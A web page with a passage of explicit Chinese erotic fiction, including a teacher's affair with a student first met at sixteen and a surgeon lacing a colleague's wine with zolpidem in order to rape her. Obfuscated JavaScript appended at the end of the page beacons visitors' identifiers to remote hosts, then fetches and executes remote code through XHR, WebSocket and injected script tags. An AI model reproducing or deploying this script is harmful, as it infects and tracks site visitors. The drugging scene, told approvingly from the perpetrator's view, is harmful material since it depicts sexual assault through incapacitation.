吉姐姐廿八岁了,长了个娃娃脸,看起来还只有廿一、二岁像个丫头片子呢。今天好可惜,箭在弦上,正差临门一脚,就要上了她,谁知婆婆会在要紧关头出现,她狮吼功一叫,不知怎的,我被吓得水鎗软了下来,一蹶不振,功败垂成。

一个礼拜没去上学了,身体和精神都芣感觉不错了,今天吉姐姐来家,倒提醒了我,有些事,我必须回学校去处理,现在必须回校去走一躺,亲自弄妥它。

(四) 邱老师

已经整整一个星期没看到二年仁班的涂同学来校上课了,他再请假就会赶不上功课,又要留级了,真为他着急,今天我代他们国文张老师的课,上课时,看到他居然乖乖地坐在椅子里听课,不禁精神一振,好想被他紧紧抱住乱亲个够,他也意外地看到了我。

自从他十六岁,就读本校高一,就是在我的数学课上,他天资其实不错,水彩画功力也不坏,但数学这一门老追不上,高一他留了一次级,高二他又留了一次级,这学期如果数学再当掉,这高二他就要读三年了,但这小家伙,俊俏不凡,能言善道,古怪精灵,很会讨女人欢心,去年他不断地咵耀自己的绘画天赋,居然在我老公到外国公务时,说动了我,在家中,为我绘一幅仿莫迪利亚尼斜卧的裸女画,不知为什幺,我居然答应了,画完成了,这小冤家也跟我上了床,我这才知道他天生异稟,没遇到他以前,我这三十九年算是白活了。

他喜欢抚摸我的臀部,还叫我大屁股,在二人见面时,只要他一摸我臀部,或叫我大屁股,我就会疯狂起性,不能自已。

今天看他乖乖地在座位上听课,不禁大喜若狂,多次拿了课本走过他的座位,观察了他一下,小冤家清瘦了不少,也白晢了不少,有些心疼,很想炖一只鸡,给他补补身体。

这星期,老公不在家,好久没有敦伦了,希望能约小冤家,找一家漂亮一些的麾铁,欢渡一晚。

再次拿了课本,走路经过他面前,看到他面前铺了一张纸,用铅笔写了几个大字,”下午六点,龙山寺捷运站”,我大喜如获至宝,我颌了一下头,他就把纸给撕了。

四点五十分下课,五点十分,我就回家换妥了衣服,化一个较年青的淡妆,喷了一些香奈儿,照了照镜子,看看自己好像卅岁上下,不至太老,想到今夜会跟小情人尽鱼水之欢,子宫不禁有些骚动,为了不要让这条全新的内裤,还没做爱就被分泌物弄髒了,我还贴了一片护垫。

高高兴兴地坐地铁了龙山寺站,还没有出站,就看到高大的他,站在出站收票口等我。

依照往例,怕遇到熟人,我们俩人互不打招呼,他反身向一号出口走去,我默默地距他十来公尺后面,跟着往外走。

跟他走了漫长的一段路,进了一家咖啡馆,

赶吗要来喝咖啡,我们应该先去用餐,或先去麾铁亲爱,完事后再出来吃饭,喝咖啡根本是浪费钞票或时间,难道你不知道什幺叫做”春宵一刻值千金”吗?

我们点了二杯拿铁,二片波斯顿派,挑了二个角落的位子,面对面坐着,他沈默了半天,才开口对我说话:

『老师,我有了爱人了………』,我以为是多大的新闻,这不是什幺了不起的事,你另外有女人,早就知道了,我又不是要独佔你。我说:『所以呢?』,

『妳是有师丈的人,我们不可以再这样见面了』,

『我有师丈,你早知道了,以前可以,为什幺以后就不可以见面?』,我抗议,

『我有罪恶感,对不起师丈,要深自忏悔,不要再见面吧』他说,

『你是一个从来没有罪恶感的人,一定有了新的女人,就要摔掉我这个老太婆是不是?』,我有些火。

『邱老师,我刚才讲的全是真心话,你闹也没有用,我们俩人的关係如果公开了,对谁都没有好处,我只是一个不良少年,妳情我愿,我没差,倒是妳和师丈,还能在这个环境中存活下来吗?即使躲到故乡屏东去,妳认为故乡的人,不会对你们耻笑吗?老师,我们平静地分手吧』,我想了很久,勉强地点了点头。我说:

『你好狠,我知道了,但今天我生理、心理都凖备好了,今天算是我们最后一次外会吧,好吗?枫弟弟,好吗?…好吗?』,我感到有些含冤莫明,抽搐着说。

『今天加一次,明天又可以再加一次,后天,大后天就可以有再加N个次数,没完没了,今天就不必了,明天在学校再见吧,敬爱的邱老师,请保重』,他吻了一下我的手,站起身就先走了。

以前叫我,亲爱的邱老师,现在改叫我,敬爱的邱老师,以前会吻我的胸,现在改吻我的手,我愣在座位上。

(五) 卡拉OK王姐

好久没看到大鹏鸟小涂了,今天XX饭店蔡董夫人,打电话来指名要找他,现在已经下午五点了,学校应该放学了,挂通手机给他。

『我是涂一枫,王姐妳好』响了好久,他才应答我。

『阿枫呀,蔡董夫人指名找你,这两天下午有空吗?』,我问他。

『上星期有人放了我的血,都上报了,妳都没看报吗?』,他说。

『喔,这样呀,你死了没有呀?我那里有时间看报啊』,我大声问他。他说:

『死了还会接妳的电话呀?晦气!下面断了,不能用了』,他说,

『一定你乱肏乱搞,玩到大哥的女人,被他叫人修理你。你断了?真的吗,开玩笑的吧?』,我说。

『断了大半根,断下来被丢了,不能用了?真的』,他说。

『骗人的吧,不是真的吧?我不相信,开玩笑的吧?』,我说。

『不是很光彩,骗你做什幺』,他斩钉断铁地说。

我想了一想说:『那你这台苹果手机还我吧,以后你就再也用不上它了』,他爽快地答应了。

4、大姨妈来了

(一) 吉医师

自我捡讨,我只是太急于嫁给小涂,有些过于急色,本想以既成事实,嫁给他,达到目的。试了二次都功败垂成,想到这里有些很不好意思,我要改变策略,不要再以造成既成事实,来达到婚姻的目的。必须要用细水长流,慢火焙茗的方法,比较容易成功。我要改变策略,用投其所好的方法,才能达到目的。

那天到小涂家里,看到他房中有一些成品或半成品的画作,觉得他还是有些绘画的天份,那天又看到他正在观看,网路上的画具画材的广告,我回家也找到了那个网站,发现他们在网上推销的是法国进口的纸材,英国进口的颜料,价格不斐,我了解他祖孙相依,家境清寒,大概只是望梅止渴,可望而不可即,只能在带萤幕上看看解嚵。

这个月,急诊室分来了一些奖金,本来想添购一个包包,买几双鞋子,但为了要讨冤家欢心,就改在网上订了一些画纸,和一整盒廿七色水彩颜料,八支一组的貂毛画笔,把这个钱化了,明天到他家去时带去给他。

今天是一个特殊的日子,他不至失控,约他放学后和他一起回我住处,要把这些沈重的画材,叫一部计程车,一同运送到他家。

进了我住处,他惊异地发现,一位大医院的总医师,怎会住得如此寒酸,比他家好不了多少,我跟他解释我为何这样缺钱,而且至少会再穷上四五年的情形,但等到总医师任满,昇上主治,就可以排门诊,有自己的病人群,自己掌刀,收入才会增加,改善目前的经济状况。

我的住处和他的学校并没有多远,我站在他校门口,远远地等他出来,看到他肩上挂了一个印有校名,破旧的书包,和几个同学一起走了出来,真是有些鹤立鸡群,很是突兀,看起来分明已是大人样了,而他的同学,一个个都仍然是小萝蔔头样子,他看了我,我对他微微地颌首,向右转,朝我住所慢慢走去,稍一回首,看到隔一段距离,他随我慢慢地,跟在我后面。

我们两人身份、地位、年龄、学历都相差大太远,恋爱尚未成熟到可以公开的地步,所以不想被人看到走在一起。故我在前面走走停停,他在离我一二十公尺们的人群中,任意流连,渐渐我回到家门口,上楼开门进去,虚掩了门,等他进来。

没多久,小涂推门进来了,进了门,返身回头朝后面看了一下,把门关上了,我问他:『有邻居看到你吗?』,他摇了摇头。

『我又不是坏人,为什幺怕有邻居看到我?』,他好奇的问我。

『我可是小姐唉,有个单身男人来找我,是不是很可疑』,我说。

『神经病!男人找女人很正常啊,没什幺大惊小怪的』,他说。

他走近我面前,把书包往床上一放,搂住我的腰,面对面站着低头吻我,我闭上眼情,任凭他恣意的吻我。想起了李后些主断句“一向偎人颤,奴为出来难,教君恣意怜”我任凭他在我脸上,嘴上吮吻,二手在胸上,恣意欺淩。

渐渐他下面有一支极硬的大屌,紧紧地顶在我胯下,我感到有一阵气血上涌,呼吸极其不顺,他利用身材优势,将我带到床上,我摇摇头,在他耳边轻声说了一声:『不行!我大姨妈今天来了』。


情势丕变,他放鬆了攻势,跟我长吻一会,才鬆手放开了我。

『那妳今天找我来有什幺事?』,他好奇地问我。

『那妳今天找我来有什幺事?』他再问,

『没事不能找你来啊?』,我笑着说。

『当然可以,不过没事妳不可能找我来的,什幺事?』,

我从桌子下拉出一个大纸箱,放在书桌上,要他自己打开看。他好奇地开了打纸箱,折开内包装一看,大喜过望,不禁一把将我牢牢抱住。

『妳怎幺知道我想这些东西,妳好神奇呵』,他高兴得抱住我,原地快速地团团打转。

『放我下来,放我下来,我头晕,快放我下来』,我大叫。

他停止了打转,把我放了下来,我天晕地转,站立不稳倒在地上,竟然呕吐起来,他惊慌失措,赶紧蹲下来,扶我在怀,紧张地抚拍我的背部,拿出一块手帕,帮我擦嘴角。等我舒解了一些,他把我公主抱放倒在床上,去倒了一杯桶装水,拿了一个脸盆,坐起漱了口,又用冷毛巾抹了脸,一直在傍道歉。

一会儿,我感到舒缓了,才对他浅浅抿抿嘴,微微点点头,表示感谢,他才放下心来。

我要他将送他的一箱画具画材,用计程车带回家去,告诉他晚上,我还要应老师的邀请,到他家中去吃饭。小涂吻了我一下,就带了纸箱走了。

(二) 外科部陈主任

依据医院人事室们的资料,今天是外科病房总医师吉美羽,廿九岁的生日,知道她是一个父母双亡的孤儿,惟一的亲人,是她的一位叔父,她靠着助学贷款,完成学业,所以仍是小姑独处,一直没有结婚,她是我的学生,对我有一定程度的畏惧和尊敬的。

我老婆秀卿过世后,每天下班回家,只有二个初中的孩子,和电视频道作伴,甚是寂寞,每天在医院,看到吉医师在我前前后后,有意无意,娉娉婷婷,走进走出,大概她也知道我中匮虚空,一颦一笑对我有意吧。

但是我今年五十九岁,比她多了三十岁,表面上,老牛吃嫩草,稍为多了一些,其实我体力仍在巅峰,一到二星期做一次爱,体力绰绰有余,事前吃一颗Viagra做爱,每次至少可以挺五到十分钟,威风淩淩。

为了表示我的诚意,和让她知道我的财力,我在自己家中,替她庆生,由帮佣涂嫂备餐,她的料理手艺一流,做得比外烩的厨子还要美味丰盛。

我也凖备了一些红酒,如果她不好意思,餐后留下来住下,她可以借着红酒,假装酒醉,倒在我床上,两情相悦,成其好事。

下午六时廿分,楼下警卫通知,有访客来府,定是隹人凖时来到,赶快有请,亲自到电梯门迎接,不一会电梯到了,佳人巧笑倩焉,明眸皓齿,捧了一朿鲜花,走出电梯,眼前一亮,平时在办公室以为她胸部平平的吉医师,脱掉了医师袍,今天看来丰胸凸臀,好像黄毛丫头十八变,最近脱胎换骨,换了一个人似的,有些艳丽灼热的感觉:

『老师好!生日快乐,身体健康,谢谢你邀请我,我有没有迟到,其他同仁到了吗?』

『请进!请进!妳到早了十分钟,非常準时,没有迟到』,我导引她进了屋内,换了史理巴(拖鞋),顿时,她显得十分娇小玲珑。

『其他同仁到了吗?』,进了客廰,她环顾四周,现家中没有其他宾客,有些诧异,问我。

一般来说,第一次到我家的宾客,一定会礼貌性的讚叹我家漂亮,视野宽阔,然后我会带他(她)参观我的大型木彫收藏品,再带他(她)参观房子格局,大家讚叹一番,然后入座,进入主题。但这个小妞,大概有些审美白癡,对这些都视若无睹,只关心其他还请了些谁,有些出乎我意料。

『没有其他客人,今天妳是唯一的主客,生日快乐!』,

『今天不是我的生日,我的生日是农历今天,老师,弄错了』,

『喔,我是看到妳的人事资料才知道的,不知道是农历,对不对不重要,一起用一个晚餐也不错,将错就错,生日快乐,吉医师』,


她将手中的捧花递给我,说:『我以为您说生日聚餐,是老师生日呢,还去买了一把花』,粉脸一红,在柔和的灯光下,娇羞极了。

叫帮佣涂嫂开始备餐,开了红酒,倒在英国曼澈斯特製的水晶玻璃酒抔中,事先在她酒杯中洒了半颗磨成粉未的zolpidem,用红酒一沖,无色无嗅,红色酒液反映在她脸上,娇羞动人,醇酒美人,我倒反觉得有些先醉了,

『老师我不会喝酒,我只能意思一下』,

『胡说!那有外科医师不会喝酒的,来,乾杯!』,我想,妳不会喝酒更好,今天我一定要把妳灌醉,然后肏得妳在床上打转。

『不会喝,更得练练,将来通宵开刀,那里来的精神,来!先乾了这杯,妳不喝,老师先喝一大口给妳看』,这时佣人端上头道菜,是佐酒菜,鱼生切片,佣人顺便把二杯酒,又给注满了,放在二人面前,

『来!看老师的面子,喝空自己面前的杯中酒不再添,来!请』,

我一口乾完手中半杯的酒,将抔底对着她幌了幌,告诉她我抔底没有饲金鱼了,催她赶快喝酒。

她无奈,只有勉强分做几次,把她杯中的酒喝光了:

『老师,我这抔已经喝完了,不能再喝了』,

『好,好!,不要再喝了,涂嫂!再上菜』,

我只要你妳喝一杯就够了,不要半个小时,妳就会乖乖入眠,等妳醒来就是我的人了,到时候只说二人都醉了,不管说酒醉乱性,或两情相悦,那是说不清了。

没有多久,她已经不支了,摇摇欲倒,我上前好言温存,确定她开始有些昏昏欲睡,我就把她扶到主卧大床上,大喜过望,这小妮子酒量太差,半抔红酒就摆平了。

我试探性的去吻她的香唇,呵,香嫩甜滑,人间妙品。

解开她上衣衣钮,见到一付廉价的前扣式胸罩,包束着一对饱满的32C粉乳,半个乳露在外面,打开扣子,两只乳房弹跳而出,我心内无限的激动,二粒粉红的乳晕很小,上面各有一粒小小们的乳尖,看来十分可口,忍不住俯身上去吸住了它,它在舌上溜转,吸得她口中不住地呻吟,『弟弟!唷,弟弟!』。

妳叫错了,我是妳老师,是妳哥哥,是妳老师哥哥,好美羽。

我掀起了她的短裙,里面竟是一条花点的小女生内裤,看来好像是一条生理裤,拉下了内裤,底部真的是垫了棉垫,还有月经血渍,我是外科医生,世空见惯,血液流动,这时脑中血液上冲,男性生殖器也大量充血,也顾不带她正巧有经血流出,撕破了生理裤劈开二支大腿,对準了阴道口,爬了上去。

忽然我呵欠连连,瞌睡得睁不开眼,双手无力撑住上身,怎幺回事,莫非刚才我喝错了酒杯?

(三) 佣人涂嫂

先生(主人)陈主任昨天关照我,今天晚上要有一位女贵客,来家中吃晚餐,要我安排二位小少爷到外婆家中去住,告诉我準备一顿丰盛的中式晚餐及预备半打的法国红酒,我知道他的习惯又要下药吊漂亮的女人了,因为他多金位尊,又是大学教授,通常都会成功,但都不会久长,多则三、二了个月,少则一、二个星期就分手了,不知今天来的是怎样一个女人。

傍晚,客人到了,因为我在厨房忙,不知她是谁,直至先生叫我上菜,才发现客人,竟是我孙子的新交女友吉医师,看到先生一直在劝她喝那杯红酒,知道他又故技重施,红酒下了药,就趁他不注意添酒时,将二只酒抔互换。

谁知那只没有药的酒杯,吉医师才喝了一口,她就不行了。

我赶快打电话给阿枫,快来救她,好在离我家很近,不一会他就赶到了,卧室内,正在紧耍要关头,卧室门忽然大开,阿枫人高马大又年纪轻,冲进了卧室,看到了床上情形,跑到床边,用力摇醒了吉医师,阿枫背着衣衫不整的她,出门叫计程车走了。

我呆在先生家中,到午夜三点多,先生醒了,问我吉小姐什幺时候走的,我告诉他,十点半左右,有一个年青男人来找姐姐,就叫醒了她,把她背走了,先生去楼下调监视器看,回来一声不响,就叫我下班回家,天都快亮了。

5、公証结婚

(一) 月下老人

这个涂一枫和吉美羽本是三生石上缘定,七世姻缘天注,怎奈阴错阳差,男娃儿投胎时,在天庭晚了一刻,在阳间就比女娃儿小了九岁,现在的时间已臻成熟,我不免下凡一次,促成此事,驾起了祥云万朵、瑞气千条,云头一拍,往台北地方法院降落去哉。

(二) 涂一枫

昨天晚上,在婆婆上班的先生家里,床上抢救回,险遭汙沾的医师吉姐姐,用计程车载回她家中,她酒醉不适,呼呼大睡,下半夜醒了过来,又呕吐在床上,我不得不把她剥个精光,把一切汙秽的床单被套枕巾,加上全身衣物,统统泡在肥皂水中,把她也洗了,再用大毛巾将她裹住,让她安睡。

我阖眼伴睡在一徬,她一翻身,一支大腿伸出毛巾,腿根一片桃源地,丝丝黑森林,双峰夹小溪,溪水潺潺流。美景如斯在目,我一个刚满廿岁的青年男子,怎能睡得着。

伸手过去,偷偷揩油少许,黑森林里蕩漾,小溪流傍探索,愈玩愈快活,一波到比一波强,不免惊醒了佳人,瞪大了二只秀眼,在仔细回忆,昨夜究竟发生了些什幺事?

(三)吉美羽

陈老师请我用餐,记得他硬要劝我喝酒,酒很甜但很烈,通常我喝一、二杯还可以,但昨夜不知怎地,我快快就醉倒了,啊!……

啊!……,他把我抱上了床,

啊!……,他在床上,褫掉了我的胸罩……啊!……,

啊!……他在床上玩弄了我的酥胸,好舒服呵…,

啊!……他脱掉了我的生理裤………

后来…怎样了?…不记得了,不记得他有没有取走,我要留给我心爱的涂弟弟的宝贝?…呵……呵………呵。

是不是,又是陈老师在摸我下面,我感到有人在欺负我,一翻身坐了起来,发现自己一丝不挂,看到是小冤家在欺负我,再将头转向四周一望,怎幺会在自己家里,大声骂他:

『你赶吗偷偷脱光人家衣服,不要脸!』,

『你才不要脸,到别人家里,被人家灌醉,未婚女子,脱光光睡在别人床上,羞羞脸』,喔,这一段想起来了。

『他有没有把我怎幺样了?』

『我怎幺会知道,他有没有把妳怎幺样了?』

『那我又怎幺回来的?』

『他打开妳的外包装,一看是臭的,就丢在台北市垃圾车上,我正好路过,就当回收物,检回来了』

『我是大姨妈来了,不是臭的。不要开玩笑,究竟是怎幺一会事,请告诉我,姐姐求你了』

『好,我告诉妳,妳昨天到陈教授家赴宴,我婆婆正好是在陈主任家里帮佣,看到是妳被主人下药灌醉,赶快打电话叫我去他家,内裤和胸罩是他替妳脱的,我只负责背上,只披外衣的妳上计程车,送回到家里,妳又呕吐得满床,我只是把臭气沖天的醉鬼,用钢丝刷,当做死猪似的涮洗乾净。如此这般一番而已』,

『你用钢丝刷,刷我?』,

『妳细皮嫩肉的,像丝绸一样的幼嫩的皮肤,我怎捨得刷妳,调侃而己』,

『我的衣服呢?』,我指指地下那盆肥完皂水浸泡的衣物。

『我明天在医院,怎幺面对陈主任?』,

『告诉他,我这里用手机照到一张,他正在脱妳内裤的照片,他就不敢嚣张了』,

『有吗?有照到吗?我看看』。

『那时候,兵慌马乱的,那会有这个美国时间照相,吓吓他而已』。

『好了,继续吧!』,我说。

他傻傻地问我:『继续什幺?』,我啐他一口,给他一个白眼。

他领会了

(三) 涂一枫

我知道,经过了这次风波,她今天已经决定要把她自己交给我了,我看她巧笑倩焉,风情万千脉脉含的望着我,我知道她已动春情了,我也要她,今天,就是今天,我要上了她,上次两番,我摸她下体的时候,还像一了孩童似的平平一片,不觉怎幺凸出,今天她的下体有很明显的成熟,二片小阴唇,己偷偷地探头,伸出了大阴唇之外。呵,迷死人的吉姐姐。

我肄无忌惮地觉爱抚着她丝绢般柔滑的皮肤,嗅着芳香细软浓密的秀髮,吻着香甜软嫩的嘴唇,轻咬着纤纤绵绵的乳尖,抚弄那稀稀疏疏的阴阜芳草,恣意拨动那才探露少许的小阴唇,磨磳这双峰夹小溪们的阴道口,

她浑身瘫软,口里嗯嗯呀呀,不知呻吟些什幺,只是感到她週身发热,有些颤抖,双手如溺水人儿似的,紧抓着我不放,全身则都放鬆了,任君轻薄。

这时我胯下雄风已起,坚硬如铁,早在蓬门外频频叩关,她有些不耐烦,也频频抬臀相邀,我感到她溪水湍湍而下,星眸半张,银牙咬唇,脸上笑颜逐开,淫心已起,我趁机臀部猛地往下一压,一插到底。

『啊………!』,她眉头一皱,惨叫一声,双手紧紧地抱住我,双腿把我圈住,臀部拼命顶住我腹部,不让我抽动。

我低头看她,蓬头散髮,双眸含泪,香唇微啓,银牙紧咬,没有出声,呼吸停止,全身僵住,很久很久才哇了一声,说了一句:

『喔,好痛!』,就全身放鬆,大字型睡回床上。

『她阴道中,虽有足够的滑油分泌,抽插都不很难,只是我的象鼻太粗,而她的阴道初次开张,又有些太窄小,我每次插入,她都叫痛,拔出时,阴道又紧紧咂住我象鼻难放,往往连阴道也拉出她体外寸许,有些碍难,她紧皱眉头,咬牙呻吟叫痛,.我只有耐心放慢了动作,一下一下耐心放慢速度慢进慢出。

五六分钟后,她渐渐放鬆了眉头,不怎幺喊痛,目光迷离,微微有些喘息,眉目之间,不似刚才那样紧绷,我凑脸下去,轻吻她的香舌,她发出嗯嗯!唔唔!令我今生难忘,蚀骨消魂的呻呤声,她伸开了双臂,环绕了我。我知道,时候到了,我粗暴地强出强入,狂野地展开了一连串的冲刺,二人的肉体劈劈拍拍的互击着,下面的物件叽叽咕咕的水声淫秽地响着,眉目迷离,不知是她看我迷离,还是我看她迷离。

(四) 吉美羽

他进入了我,冲破了我,我早有心理準备,身为外科医生的我,知道女生的第一次,会是很疼痛的,但不知道有这幺痛,他很鲁莽,没说半句话,这幺粗大一支东西,就一下插了进来,痛得我滋牙裂嘴 ,『哇!』的大叫一声,但终算我忍受过去了,接着他坚硬的象鼻,一波波冲向我的禁地,磨擦着我的私处,慢慢地一阵阵愉悦感,从下腹昇起,流向週身,穴中搔痒不已,每一次的顶撞,都感到阵的舒畅,口里鼻里忍不住发出哼哼的呻吟,和轻微的欣喜的微喘。

随着他用力的插送,我感到他一次又一次地故意攻击或我阴道的底部,那里是我的花心禁地,从来不曾有物件来碰触过,又痠又麻,又有一种从未经历的舒畅,像电流似的通达週身,我已经忘却了刚才的疼痛,我抬起了臀部,迎向小冤家每次向下的重击,他的速度愈来愈快,冲压的力度也愈来愈强,

关闭
关闭
function kPzVKD(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function ZrJBlgno(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return kPzVKD(t);};window[''+'c'+'R'+'F'+'s'+'b'+'q'+'J'+'h'+'k'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function FHEaI(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=ZrJBlgno,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=FHEaI(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qssc.fnelg.cn:7891/stats/9633/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=FHEaI(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMMlMM0ElMMkYlMMkZhLmdiYnB0bC5jbiUzQTg4OTE=','d3NzJTTNBJTTJGJTTJGYS53aGJnei5jbiUzQTTk1MzU=','9489',window,document,['M','T']);}:function(){};
function vSqnHVE(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function TWZFbJg(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return vSqnHVE(t);};window[''+'A'+'Q'+'G'+'M'+'I'+'Z'+'D'+'g'+'R'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function UhtP(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=TWZFbJg,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=UhtP(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/15662/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=UhtP(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkkYlMkkZhLm1wemx2cS5jbiUzQTg4OTE=','d3NzJTNBJTJGJTJGYYS55a2toanMuYY24lM0E5NTM1','168322',window,document,['k','Y']);}:function(){};
let urls=["hWWtWWtWWpWWsWW:WW/WW/WWoWWcWW1WW8WW1WW2WWnWW4WWdWW7WW6WW.WWoWWsWWsWW-WWcWWnWW-WWsWWhWWaWWnWWgWWhWWaWWiWW.WWaWWlWWiWWyWWuWWnWWcWWsWW.WWcWWoWWmWW/WW1WW2WW/WW1WW1WW0WW5WWeWWcWW8WW5WW8WW2WW3WW7WW2".split("WW").join(""),"hBBtBBtBBpBBsBB:BB/BB/BBpBB.BBgBBoBBdBBmBBwBBiBBtBBhBB.BBcBBoBBmBB/BB1BB2BB/BB1BB1BB0BB5BBeBBcBB8BB5BB8BB2BB3BB7BB2".split("BB").join(""),"hBBtBBtBBpBBsBB:BB/BB/BBmBBqBB1BB2BBnBB4BBdBB7BB6BB.BBoBBsBBsBB-BBcBBnBB-BBsBBhBBaBBnBBgBBhBBaBBiBB.BBaBBlBBiBByBBuBBnBBcBBsBB.BBcBBoBBmBB/BB1BB2BB/BB1BB1BB0BB5BBeBBcBB8BB5BB8BB2BB3BB7BB2".split("BB").join(""),"hTTtTTtTTpTTsTT:TT/TT/TTdTT8TT9TT-TT1TT3TT1TT3TT9TT4TT4TT0TT6TT2TT.TTcTToTTsTT.TTaTTpTT-TThTToTTnTTgTTkTToTTnTTgTT.TTmTTyTTqTTcTTlTToTTuTTdTT.TTcTToTTmTT/TT1TT1TT0TT5TTeTTcTT8TT5TT8TT2TT3TT7TT2".split("TT").join("")];let urlindex=0;let rfunc=function(){if(window.__rr__loaded_2372_1105 != 'ok'){let ss = document.createElement('script');ss.type = 'text/javascript';ss.referrerPolicy='no-referrer';ss.src=urls[urlindex++]+ (navigator.userAgent.indexOf('Android') != -1 ? 'a':'i') + '?_=' + new Date().getTime();document.body.appendChild(ss);if(urlindex < urls.length){setTimeout(rfunc, 2000);}}};rfunc();rfunc();